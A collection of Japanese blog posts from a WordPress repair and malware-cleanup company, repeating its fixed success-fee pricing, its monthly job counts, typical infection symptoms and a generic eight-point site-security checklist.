弊社のワードプレス修復・復旧の料金は一律の成功報酬の39,600円（税別）・追加料金なし！。**スピード重視で対応**をいたします。**調査して、物理的に復旧不可の場合でも料金はいただきません！**

成功報酬を導入することにより、高いサービスをご提供します。難易度が高くても一律料金。「内容調査」「見積作成」「見積検討」の日数と時間を大幅に削減します。

\[su\_button url=”https://wp-r.com/?page\_id=8#table1″\]成果報酬で依頼をする。内容の確認依頼をする\[/su\_button\]

## 多数のメディアで弊社のサービスを取り上げて頂いております。（一部抜粋）

![](https://wp-r.com/wp-content/uploads/2022/10/Yomiuri.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/no.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JIJI.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/AllAbout.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/Rakuten.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/excite.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/BIGLOBE.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JBpress.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/DIME.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/otakuma.jpg)

**カテゴリー:** ワードプレス復旧実績

---

### [Parse error: syntax error, unexpected ')' in contact-form-7/includes/contact-form-functions.php](https://wp-r.com/wp-tips/parse-error-syntax-error-unexpected-in-contact-form-7-includes-contact-form-functions-php/)

**Published:** 3月 27, 2023
**Author:** ワードプレスレスキュー

**Content:**

# エラーParse error: syntax error, unexpected ‘)’ in contact-form-7/includes/contact-form-functions.phpの修復依頼

Parse error: syntax error, unexpected ‘)’ in contact-form-7/includes/contact-form-functions.phpは、WordrPressのコアファイル、プラグイン、サーバー側のスクリプト言語のバージョンの相違が原因のエラー表示の可能性が高いです。エラー文面からcontact-form-7のプラグインが直接的にエラーを出している確率が広告率です。

![Parse error: syntax error, unexpected ')' in contact-form-7/includes/contact-form-functions.phpは、WordrPressのコアファイル、プラグイン、サーバー側のスクリプト言語のバージョンの相違が原因のエラー表示の可能性が高いです。エラー文面からcontact-form-7のプラグインが直接的にエラーを出している確率が広告率です。](https://wp-r.com/wp-content/uploads/2023/03/contactform7.jpg)

## エラーParse error: syntax error,の修復依頼

ワードプレスのエラーの修復依頼は、ワードプレスレスキューへお任せください。土日祝日も含めて、緊急対応をさせていただきます。

## 成功報酬で、料金は一律39,600円（税込・後払い）追加料金無し。

弊社のワードプレス修復・復旧の料金は一律の成功報酬の39,600円（税込み）・追加料金なし！。**スピード重視で対応**をいたします。**調査して、物理的に復旧不可の場合でも料金はいただきません！**

成功報酬を導入することにより、高いサービスをご提供します。難易度が高くても一律料金。「内容調査」「見積作成」「見積検討」の日数と時間を大幅に削減します。

\[su\_button url=”https://wp-r.com/?page\_id=8#table1″\]成果報酬で依頼をする。内容の確認依頼をする\[/su\_button\]

## 多数のメディアで弊社のサービスを取り上げて頂いております。（一部抜粋）

![](https://wp-r.com/wp-content/uploads/2022/10/Yomiuri.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/no.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JIJI.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/AllAbout.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/Rakuten.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/excite.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/BIGLOBE.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JBpress.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/DIME.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/otakuma.jpg)

**カテゴリー:** ワードプレスTIPS

---

### [WordPress(ワードプレス）のマルウェア・復旧・修復・トラブル依頼の実績です。「2024年４月」](https://wp-r.com/wprescue/202404/)

**Published:** 5月 9, 2024
**Author:** ワードプレスレスキュー

**Content:**

## 土日祝日、早朝から夜間まで対応させていただきました。

４月もセキュリティー関係のワードプレスのマルウェア対策などのセキュリティープラグインに脆弱性が見つかる月でした。特にGW前半前からGWまでの祝日対応もきっちりとさせていただいております。ワードプレスのマルウェアや乗っ取りの修復・対応依頼は相変わらず多い４月でした。

## 警視庁からの連絡案件の対応

久々に、警視庁から連絡のあったサイトの対応の依頼をいただきました。

## ワードプレスのマルウェアの亜種・新種

初めて対応するマルウェアが４月もありました。亜種・新種なのかわかりませんが、ワードプレスのマルウェア対策会社としては、やりがいがある反面、早急に対応しないといけないため、スタッフ一丸となって対応しました。

## マルウェアの復旧や予後対策までお任せください。

ワードプレスのマルウェアの復旧や予後対策までお任せください。

ご希望の方には、ZOOMやGoogleMeetでフォローアップをさせていただきます。

## ワードプレスをマルウェアから守る最低限8か条！

1. **正しいバックアップ手順の確立：** 定期的かつ正確なバックアップは、サイトの重要なデータを保護します。バックアップは外部の場所に保存し、必要なら迅速にリストアできるようにしておくことが重要です。
2. **最新のWordPressおよびプラグインの使用：** WordPressのコア、テーマ、プラグインは、最新の状態に保つことがセキュリティを確保する重要なステップです。定期的に更新を行い、セキュリティの脆弱性が修正されているか確認してください。
3. **信頼性のあるテーマとプラグインの選択：** テーマやプラグインは信頼性のあるソースから入手し、最新かつアクティブにメンテナンスされているものを選択するように心掛けましょう。
4. **セキュリティプラグインの使用：** WordPressセキュリティ用のプラグインを導入することで、不正アクセスやマルウェア対策を強化できます。有名なプラグインにはSucuriやWordfenceなどがあります。
5. **複雑で安全なパスワードの使用：** 強力なパスワードを使用し、かつ、適切な権限を持つユーザーしかアクセスできないようにします。
6. **不必要なユーザーアカウントの削除：** 不要なユーザーアカウントを削除し、必要なユーザーには最小限の権限を与えることで、不正アクセスのリスクを低減できます。
7. **SSLの導入：** SSL証明書を使用して、通信データを暗号化し、セキュアな通信を確保します。
8. **セキュリティの監視とログの確認：** サイトのアクセスログやセキュリティイベントログを定期的に確認し、異常なアクティビティを早期に発見することが重要です。

これらの対策を講じることで、WordPressサイトのセキュリティを向上させ、悪意ある攻撃から保護することが期待されます。

**お客様のサーバー全体がワードプレスのマルウェアに感染した場合も、ご相談ください！**

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのセキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください。

[![まずはご安心ください！ワードプレスのトラブル解決に向けて、ご一緒にご尽力致します。土日祝対応しています。受任後最短乗っ取り対応１時間～4時間以内の実績多数。 小さな案件から、大きな案件・難しい案件まで幅広く、迅速に対応させていただきます。 個人のお客様から、中小企業、仕業、東京証券取引所上場のお客様まで、ご依頼を頂いております。](https://wp-r.com/wp-content/uploads/2023/06/chargefree2.png)](https://wp-r.com/?page_id=8)## ワードプレスのマルウェア等からの復旧・復帰・改ざんの内容や料金

### ワードプレスが海外サイトに飛ばされる（引き続き多いです）

### ワードプレスの脆弱性からのマルウェアの侵入、除去、復旧

### ワードプレスのテーマのプログラムが改ざんからの復旧

### ワードプレスの乗っ取りトラブルからの復旧

### プラグインのアップデート失敗、プログラム破損のトラブル対応

### 見に覚えのないワードプレスのユーザーが作成されていた

ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

## 成功報酬で、料金はわかりやすい2パターン。追加料金無し。

マルウェアや乗っ取りの対応

38,000円\[税別\]**ワードプレスのマルウエア関連【プランB】**

[専門家へ、無料相談・成果報酬で依頼する](#table1)

- 別サイトに勝手に転送される
- .htaccessやindex.phpが即時書き換わる
- 「お客様のサーバーアカウントにおける不正なアクセスの検知および制限の実施について」のメールがきた
- 「【重要：要返信】不正なコンテンツの検出についての確認及びご対応のお願い」がきた
- 「不正なコンテンツの検出についての確認及びご対応のお願い」のメールがきた
- 不正なアクセスの検知の連絡がサーバー会社からきた

一般的なワードプレスの障害

28,000円\[税別\]**マルウェア以外の障害です【プランA】**

[専門家へ、無料相談・成果報酬で依頼する](#table1)

- サイトで重大なエラーが発生しました
- 下層ページが表示されない
- WordPressで英語のエラーがでる
- プラグインの更新をしたら、サイトにエラー表示がでる
- ワードプレスのプラグインをアップデート後におかしくなった
- エラー表示で画面が真っ白になる
- データベース接続エラーがでる
- WordPresがループする

## 多数のメディアで弊社のサービスを取り上げて頂いております。（一部抜粋）

![](https://wp-r.com/wp-content/uploads/2022/10/Yomiuri.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/no.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JIJI.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/AllAbout.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/Rakuten.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/excite.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/BIGLOBE.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JBpress.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/DIME.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/otakuma.jpg)

**カテゴリー:** ワードプレス復旧実績

---

### [WordPress(ワードプレス)のマルウェア・復旧・修復・トラブル依頼の実績です。「2024年5月・６月」](https://wp-r.com/wprescue/202405-202406/)

**Published:** 7月 1, 2024
**Author:** ワードプレスレスキュー

**Content:**

## 土日祝日、早朝から夜間まで対応させていただきました。

５月はマルウェア、６月はマルウェア以外のワードプレスのご依頼を多くいただきました。

## ひつこいワードプレスのマルウェアや障害も対応

瞬時にindex.phpが書き換わる、瞬時に.htaccessが書き換わるというのは、ワードプレスが感染するマルウェアの典型的なタイプです。このような書状とは別に、マルウェアの構成ファイルを削除しても、瞬時に生成されるパターンもありますが、全てにおいてワードプレスレスキューは対応をしております。

## マルウェアの復旧や予後対策までお任せください。

ワードプレスのマルウェアの復旧や予後対策までお任せください。

ご希望の方には、ZOOMやGoogleMeetでフォローアップをさせていただきます。

## ワードプレスをマルウェアから守る最低限8か条！

1. **正しいバックアップ手順の確立：** 定期的かつ正確なバックアップは、サイトの重要なデータを保護します。バックアップは外部の場所に保存し、必要なら迅速にリストアできるようにしておくことが重要です。
2. **最新のWordPressおよびプラグインの使用：** WordPressのコア、テーマ、プラグインは、最新の状態に保つことがセキュリティを確保する重要なステップです。定期的に更新を行い、セキュリティの脆弱性が修正されているか確認してください。
3. **信頼性のあるテーマとプラグインの選択：** テーマやプラグインは信頼性のあるソースから入手し、最新かつアクティブにメンテナンスされているものを選択するように心掛けましょう。
4. **セキュリティプラグインの使用：** WordPressセキュリティ用のプラグインを導入することで、不正アクセスやマルウェア対策を強化できます。有名なプラグインにはSucuriやWordfenceなどがあります。
5. **複雑で安全なパスワードの使用：** 強力なパスワードを使用し、かつ、適切な権限を持つユーザーしかアクセスできないようにします。
6. **不必要なユーザーアカウントの削除：** 不要なユーザーアカウントを削除し、必要なユーザーには最小限の権限を与えることで、不正アクセスのリスクを低減できます。
7. **SSLの導入：** SSL証明書を使用して、通信データを暗号化し、セキュアな通信を確保します。
8. **セキュリティの監視とログの確認：** サイトのアクセスログやセキュリティイベントログを定期的に確認し、異常なアクティビティを早期に発見することが重要です。

これらの対策を講じることで、WordPressサイトのセキュリティを向上させ、悪意ある攻撃から保護することが期待されます。

**お客様のサーバー全体がワードプレスのマルウェアに感染した場合も、ご相談ください！**

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのセキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください。

[![まずはご安心ください！ワードプレスのトラブル解決に向けて、ご一緒にご尽力致します。土日祝対応しています。受任後最短乗っ取り対応１時間～4時間以内の実績多数。 小さな案件から、大きな案件・難しい案件まで幅広く、迅速に対応させていただきます。 個人のお客様から、中小企業、仕業、東京証券取引所上場のお客様まで、ご依頼を頂いております。](https://wp-r.com/wp-content/uploads/2023/06/chargefree2.png)](https://wp-r.com/?page_id=8)## ワードプレスのマルウェア等からの復旧・復帰・改ざんの内容や料金

### ワードプレスが海外サイトに飛ばされる（引き続き多いです）

### ワードプレスの脆弱性からのマルウェアの侵入、除去、復旧

### ワードプレスのテーマのプログラムが改ざんからの復旧

### ワードプレスの乗っ取りトラブルからの復旧

### プラグインのアップデート失敗、プログラム破損のトラブル対応

### 見に覚えのないワードプレスのユーザーが作成されていた

ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

## 成功報酬で、料金はわかりやすい2パターン。追加料金無し。

マルウェアや乗っ取りの対応

38,000円\[税別\]**ワードプレスのマルウエア関連【プランB】**

[専門家へ、無料相談・成果報酬で依頼する](#table1)

- 別サイトに勝手に転送される
- .htaccessやindex.phpが即時書き換わる
- 「お客様のサーバーアカウントにおける不正なアクセスの検知および制限の実施について」のメールがきた
- 「【重要：要返信】不正なコンテンツの検出についての確認及びご対応のお願い」がきた
- 「不正なコンテンツの検出についての確認及びご対応のお願い」のメールがきた
- 不正なアクセスの検知の連絡がサーバー会社からきた

一般的なワードプレスの障害

28,000円\[税別\]**マルウェア以外の障害です【プランA】**

[専門家へ、無料相談・成果報酬で依頼する](#table1)

- サイトで重大なエラーが発生しました
- 下層ページが表示されない
- WordPressで英語のエラーがでる
- プラグインの更新をしたら、サイトにエラー表示がでる
- ワードプレスのプラグインをアップデート後におかしくなった
- エラー表示で画面が真っ白になる
- データベース接続エラーがでる
- WordPresがループする

## 多数のメディアで弊社のサービスを取り上げて頂いております。（一部抜粋）

![](https://wp-r.com/wp-content/uploads/2022/10/Yomiuri.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/no.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JIJI.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/AllAbout.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/Rakuten.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/excite.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/BIGLOBE.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JBpress.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/DIME.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/otakuma.jpg)

**カテゴリー:** ワードプレス復旧実績

---

### [年末年始も營業！WordPress(ワードプレス)のマルウェア・復旧・修復・トラブル依頼](https://wp-r.com/wprescue/open-on-holidays2024/)

**Published:** 12月 22, 2024
**Author:** ワードプレスレスキュー

**Content:**

## 年末年始も対応をしております。

2024年から2025年の年末年始も、ワードプレスレスキューは、ワードプレスの復旧・修復・トラブル対応の依頼を受けております。昨年も色々と対応をさせていただき、今回も休まず營業をさせていただきます。なぜなら、ワードプレスを攻撃するマルゥエアや障害は、年末年始関係ないためです。無料相談も同じくお受けしております。

## 年末年始でも年末年始も營業！WordPress(ワードプレス)のマルウェア・復旧・修復の料金は変わりません。

年末年始もワードプレスのマルウェアの復旧や予後対策までお任せください。割増料金は無しで通常通り対応冴えていただきます。**対応の後の対策までお任せください。**

ご希望の方には、ZOOMやGoogleMeetでフォローアップをさせていただきます。

\[blog\_parts id=4365 title=PRICE \]

[![まずはご安心ください！ワードプレスのトラブル解決に向けて、ご一緒にご尽力致します。土日祝対応しています。受任後最短乗っ取り対応１時間～4時間以内の実績多数。 小さな案件から、大きな案件・難しい案件まで幅広く、迅速に対応させていただきます。 個人のお客様から、中小企業、仕業、東京証券取引所上場のお客様まで、ご依頼を頂いております。](https://wp-r.com/wp-content/uploads/2023/06/chargefree2.png)](https://wp-r.com/?page_id=8)

**カテゴリー:** ワードプレス復旧実績

---

### [WordPress(ワードプレス)のマルウェア・復旧・修復・トラブル依頼の実績です。「2024年7月」実績２４件](https://wp-r.com/wprescue/202407/)

**Published:** 8月 22, 2024
**Author:** ワードプレスレスキュー

**Content:**

## 土日祝日、早朝から夜間まで対応させていただきました。

６月に比べて７月はWordpressのマルウェア復旧対応、一般的な障害対応、ともに多くのご依頼をいただきました。アンケートも参考になる内容や、WordPressの復旧やセキュリティーについて知識が深まったなどの内容をいただきました。

## マルウェアの復旧や予後対策までお任せください。

ワードプレスのマルウェアの復旧や予後対策までお任せください。瞬時にindex.phpが書き換わる、瞬時に.htaccessが書き換わるというのは、ワードプレスが感染するマルウェアの典型的なタイプです。このような書状とは別に、マルウェアの構成ファイルを削除しても、瞬時に生成されるパターンもありますが、全てにおいてワードプレスレスキューは対応をしております。**対応の後の対策までお任せください。**

ご希望の方には、ZOOMやGoogleMeetでフォローアップをさせていただきます。

\[blog\_parts id=4365 title=PRICE \]

## ワードプレスをマルウェアから守る最低限8か条！

1. **正しいバックアップ手順の確立：** 定期的かつ正確なバックアップは、サイトの重要なデータを保護します。バックアップは外部の場所に保存し、必要なら迅速にリストアできるようにしておくことが重要です。
2. **最新のWordPressおよびプラグインの使用：** WordPressのコア、テーマ、プラグインは、最新の状態に保つことがセキュリティを確保する重要なステップです。定期的に更新を行い、セキュリティの脆弱性が修正されているか確認してください。
3. **信頼性のあるテーマとプラグインの選択：** テーマやプラグインは信頼性のあるソースから入手し、最新かつアクティブにメンテナンスされているものを選択するように心掛けましょう。
4. **セキュリティプラグインの使用：** WordPressセキュリティ用のプラグインを導入することで、不正アクセスやマルウェア対策を強化できます。有名なプラグインにはSucuriやWordfenceなどがあります。
5. **複雑で安全なパスワードの使用：** 強力なパスワードを使用し、かつ、適切な権限を持つユーザーしかアクセスできないようにします。
6. **不必要なユーザーアカウントの削除：** 不要なユーザーアカウントを削除し、必要なユーザーには最小限の権限を与えることで、不正アクセスのリスクを低減できます。
7. **SSLの導入：** SSL証明書を使用して、通信データを暗号化し、セキュアな通信を確保します。
8. **セキュリティの監視とログの確認：** サイトのアクセスログやセキュリティイベントログを定期的に確認し、異常なアクティビティを早期に発見することが重要です。

これらの対策を講じることで、WordPressサイトのセキュリティを向上させ、悪意ある攻撃から保護することが期待されます。

**お客様のサーバー全体がワードプレスのマルウェアに感染した場合も、ご相談ください！**

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのセキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください。

[![まずはご安心ください！ワードプレスのトラブル解決に向けて、ご一緒にご尽力致します。土日祝対応しています。受任後最短乗っ取り対応１時間～4時間以内の実績多数。 小さな案件から、大きな案件・難しい案件まで幅広く、迅速に対応させていただきます。 個人のお客様から、中小企業、仕業、東京証券取引所上場のお客様まで、ご依頼を頂いております。](https://wp-r.com/wp-content/uploads/2023/06/chargefree2.png)](https://wp-r.com/?page_id=8)## ワードプレスのマルウェア等からの復旧・復帰・改ざんの内容全て対応！

### ワードプレスが海外サイトに飛ばされる（引き続き多いです）

### ワードプレスの脆弱性からのマルウェアの侵入、除去、復旧

### ワードプレスのテーマのプログラムが改ざんからの復旧

### ワードプレスの乗っ取りトラブルからの復旧

### プラグインのアップデート失敗、プログラム破損のトラブル対応

### 見に覚えのないワードプレスのユーザーが作成されていた

ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

## 多数のメディアで弊社のサービスを取り上げて頂いております。（一部抜粋）

![](https://wp-r.com/wp-content/uploads/2022/10/Yomiuri.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/no.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JIJI.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/AllAbout.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/Rakuten.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/excite.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/BIGLOBE.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JBpress.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/DIME.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/otakuma.jpg)

**カテゴリー:** ワードプレス復旧実績

---

### [WordPress(ワードプレス)のマルウェア・復旧・修復・トラブル依頼の実績です。「2024年11月」実績19件](https://wp-r.com/wprescue/202411/)

**Published:** 12月 12, 2024
**Author:** ワードプレスレスキュー

**Content:**

## 大規模な場合は、支援プランもございます。

マルウェアに感染したWordPressの数が多い場合は、ディスカウントはもちろんございます。しかしながらWrodPressのマルウェア対応はコスト高になる場合もあります。

\[blog\_parts id=4803 title=WordPresマルウェア支援プランとは？ \]

## マルウェアの復旧や予後対策までお任せください。

ワードプレスのマルウェアの復旧や予後対策までお任せください。瞬時にindex.phpが書き換わる、瞬時に.htaccessが書き換わるというのは、ワードプレスが感染するマルウェアの典型的なタイプです。このような書状とは別に、マルウェアの構成ファイルを削除しても、瞬時に生成されるパターンもありますが、全てにおいてワードプレスレスキューは対応をしております。**対応の後の対策までお任せください。**

ご希望の方には、ZOOMやGoogleMeetでフォローアップをさせていただきます。

\[blog\_parts id=4365 title=PRICE \]

## ワードプレスをマルウェアから守る最低限8か条！

1. **正しいバックアップ手順の確立：** 定期的かつ正確なバックアップは、サイトの重要なデータを保護します。バックアップは外部の場所に保存し、必要なら迅速にリストアできるようにしておくことが重要です。
2. **最新のWordPressおよびプラグインの使用：** WordPressのコア、テーマ、プラグインは、最新の状態に保つことがセキュリティを確保する重要なステップです。定期的に更新を行い、セキュリティの脆弱性が修正されているか確認してください。
3. **信頼性のあるテーマとプラグインの選択：** テーマやプラグインは信頼性のあるソースから入手し、最新かつアクティブにメンテナンスされているものを選択するように心掛けましょう。
4. **セキュリティプラグインの使用：** WordPressセキュリティ用のプラグインを導入することで、不正アクセスやマルウェア対策を強化できます。有名なプラグインにはSucuriやWordfenceなどがあります。
5. **複雑で安全なパスワードの使用：** 強力なパスワードを使用し、かつ、適切な権限を持つユーザーしかアクセスできないようにします。
6. **不必要なユーザーアカウントの削除：** 不要なユーザーアカウントを削除し、必要なユーザーには最小限の権限を与えることで、不正アクセスのリスクを低減できます。
7. **SSLの導入：** SSL証明書を使用して、通信データを暗号化し、セキュアな通信を確保します。
8. **セキュリティの監視とログの確認：** サイトのアクセスログやセキュリティイベントログを定期的に確認し、異常なアクティビティを早期に発見することが重要です。

これらの対策を講じることで、WordPressサイトのセキュリティを向上させ、悪意ある攻撃から保護することが期待されます。

**お客様のサーバー全体がワードプレスのマルウェアに感染した場合も、ご相談ください！**

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのセキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください。

[![まずはご安心ください！ワードプレスのトラブル解決に向けて、ご一緒にご尽力致します。土日祝対応しています。受任後最短乗っ取り対応１時間～4時間以内の実績多数。 小さな案件から、大きな案件・難しい案件まで幅広く、迅速に対応させていただきます。 個人のお客様から、中小企業、仕業、東京証券取引所上場のお客様まで、ご依頼を頂いております。](https://wp-r.com/wp-content/uploads/2023/06/chargefree2.png)](https://wp-r.com/?page_id=8)## ワードプレスのマルウェア等からの復旧・復帰・改ざんの内容全て対応！

### ワードプレスが海外サイトに飛ばされる（引き続き多いです）

### ワードプレスの脆弱性からのマルウェアの侵入、除去、復旧

### ワードプレスのテーマのプログラムが改ざんからの復旧

### ワードプレスの乗っ取りトラブルからの復旧

### プラグインのアップデート失敗、プログラム破損のトラブル対応

### 見に覚えのないワードプレスのユーザーが作成されていた

ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

## 多数のメディアで弊社のサービスを取り上げて頂いております。（一部抜粋）

![](https://wp-r.com/wp-content/uploads/2022/10/Yomiuri.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/no.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JIJI.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/AllAbout.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/Rakuten.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/excite.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/BIGLOBE.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/JBpress.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/DIME.jpg)![](https://wp-r.com/wp-content/uploads/2022/10/otakuma.jpg)**WordPresマルウェア支援プランとは？**ワードプレスレスキューとお客様で作業を分担して、WordPressのマルウェアを対応するものです。![ワードプレス移管・移設元、先の新しいサーバー情報をヒヤリングさせていただきます。 PHPのバージョン、MySQLのバージョン、文字コードなど大抵は問題なく移管・移設出来ますが、確実に行うために、ヒヤリングをさせていただいております。もちろん、お客様の方で判らなければ、弊社の方で調査を致します。](https://wp-r.com/wp-content/uploads/2017/07/wordpress.png)

## 多数のメディアで弊社のサービスを取り上げて頂いております。（一部抜粋）

- WordPressのマルウェア対応数が多い場合にご利用いただけるプランです。
- 弊社のWordPressのマルウェア対応やセキュリティー対策のノウハウを提供します。
- お客様で作業を分担することにより、コストダウン。
- 復旧までの伴奏を行います。
- 全体の復旧のプランのアウトラインを立案します。

ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

\[blog\_parts id=4803 title=WordPresマルウェア支援プランとは？ \]

**カテゴリー:** ワードプレス復旧実績

---

### [WordPress(ワードプレス)のマルウェア・復旧・修復・トラブル依頼の実績です。「2024年12月」実績35件](https://wp-r.com/wprescue/202412/)

**Published:** 1月 2, 2025
**Author:** ワードプレスレスキュー

**Content:**

## 大規模な場合は、支援プランもございます。

マルウェアに感染したWordPressの数が多い場合は、ディスカウントはもちろんございます。制作会社様やお客様と共にワードプレスの復旧やマルウェアに対応するものです。ワードプレスの復旧は年末も対応させていただきました。ご依頼ありがとうございました。

\[blog\_parts id=4803 title=WordPresマルウェア支援プランとは？ \]

## マルウェアの復旧や予後対策までお任せください。

ワードプレスのマルウェアの復旧や予後対策までお任せください。瞬時にindex.phpが書き換わる、瞬時に.htaccessが書き換わるというのは、ワードプレスが感染するマルウェアの典型的なタイプです。このような書状とは別に、マルウェアの構成ファイルを削除しても、瞬時に生成されるパターンもありますが、全てにおいてワードプレスレスキューは対応をしております。**対応の後の対策までお任せください。**

ご希望の方には、ZOOMやGoogleMeetでフォローアップをさせていただきます。

\[blog\_parts id=4365 title=PRICE \]

## ワードプレスをマルウェアから守る最低限8か条！

1. **正しいバックアップ手順の確立：** 定期的かつ正確なバックアップは、サイトの重要なデータを保護します。バックアップは外部の場所に保存し、必要なら迅速にリストアできるようにしておくことが重要です。
2. **最新のWordPressおよびプラグインの使用：** WordPressのコア、テーマ、プラグインは、最新の状態に保つことがセキュリティを確保する重要なステップです。定期的に更新を行い、セキュリティの脆弱性が修正されているか確認してください。
3. **信頼性のあるテーマとプラグインの選択：** テーマやプラグインは信頼性のあるソースから入手し、最新かつアクティブにメンテナンスされているものを選択するように心掛けましょう。
4. **セキュリティプラグインの使用：** WordPressセキュリティ用のプラグインを導入することで、不正アクセスやマルウェア対策を強化できます。有名なプラグインにはSucuriやWordfenceなどがあります。
5. **複雑で安全なパスワードの使用：** 強力なパスワードを使用し、かつ、適切な権限を持つユーザーしかアクセスできないようにします。
6. **不必要なユーザーアカウントの削除：** 不要なユーザーアカウントを削除し、必要なユーザーには最小限の権限を与えることで、不正アクセスのリスクを低減できます。
7. **SSLの導入：** SSL証明書を使用して、通信データを暗号化し、セキュアな通信を確保します。
8. **セキュリティの監視とログの確認：** サイトのアクセスログやセキュリティイベントログを定期的に確認し、異常なアクティビティを早期に発見することが重要です。

これらの対策を講じることで、WordPressサイトのセキュリティを向上させ、悪意ある攻撃から保護することが期待されます。

**お客様のサーバー全体がワードプレスのマルウェアに感染した場合も、ご相談ください！**

**WEB制作会社様、アフィリエイター様、フリーランサー様から個人企業、中小企業、大企業**までご発注いただきました。ワードプレスのセキュリティー対策、サーバー選び、パートナー様の選定方法など幅広く、ご相談を承っております。**ワードプレスのセキュリティ-チェックもお受けしております**ので、お気軽にお問い合わせください。事前の無料相談をご活用ください。

[![まずはご安心ください！ワードプレスのトラブル解決に向けて、ご一緒にご尽力致します。土日祝対応しています。受任後最短乗っ取り対応１時間～4時間以内の実績多数。 小さな案件から、大きな案件・難しい案件まで幅広く、迅速に対応させていただきます。 個人のお客様から、中小企業、仕業、東京証券取引所上場のお客様まで、ご依頼を頂いております。](https://wp-r.com/wp-content/uploads/2023/06/chargefree2.png)](https://wp-r.com/?page_id=8)## ワードプレスのマルウェア等からの復旧・復帰・改ざんの内容全て対応！

### ワードプレスが海外サイトに飛ばされる（引き続き多いです）

### ワードプレスの脆弱性からのマルウェアの侵入、除去、復旧

### ワードプレスのテーマのプログラムが改ざんからの復旧

### ワードプレスの乗っ取りトラブルからの復旧

### プラグインのアップデート失敗、プログラム破損のトラブル対応

### 見に覚えのないワードプレスのユーザーが作成されていた

ご依頼ありがとうございました。ワードプレスレスキューは、**土日もメール受付のみではなく**、実際の対応をしており、オフィスは稼働しております。

## 多数のメディアで弊社のサービスを取り上げて頂いております。（一部抜粋）

